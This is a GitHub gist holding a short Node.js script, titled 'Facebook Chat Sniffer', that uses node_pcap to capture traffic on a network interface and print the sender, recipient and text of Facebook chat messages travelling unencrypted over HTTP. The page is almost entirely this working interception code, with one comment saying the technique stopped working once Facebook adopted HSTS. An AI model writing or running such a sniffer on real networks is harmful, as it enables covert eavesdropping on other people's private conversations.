Created
January 31, 2011 09:30
-
-
Save jchaney/803818 to your computer and use it in GitHub Desktop.
Facebook Chat Sniffer using Node.JS + node_pcap
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var pcap = require('pcap'), // npm install pcap | |
tcp_tracker = new pcap.TCP_tracker(), | |
pcap_session = pcap.createSession('en1'); // Change to your interface | |
pcap_session.on('packet', function (raw_packet) { | |
var packet = pcap.decode.packet(raw_packet); | |
tcp_tracker.track_packet(packet); | |
}); | |
tcp_tracker.on('http response body', function(session, http, data) { | |
if (data.toString('utf8').match(/^for\s\(;;\).*"from_name":/)) { | |
var msg = JSON.parse(data.toString('utf8').replace('for (;;);', '')); | |
console.log('\n\nFrom: ' + msg.ms[0].from_name + '\nTo: ' + msg.ms[0].to_name + '\nMessage: ' + msg.ms[0].msg.text); | |
} | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
@jchaney it's impossible since Facebook deployed HSTS.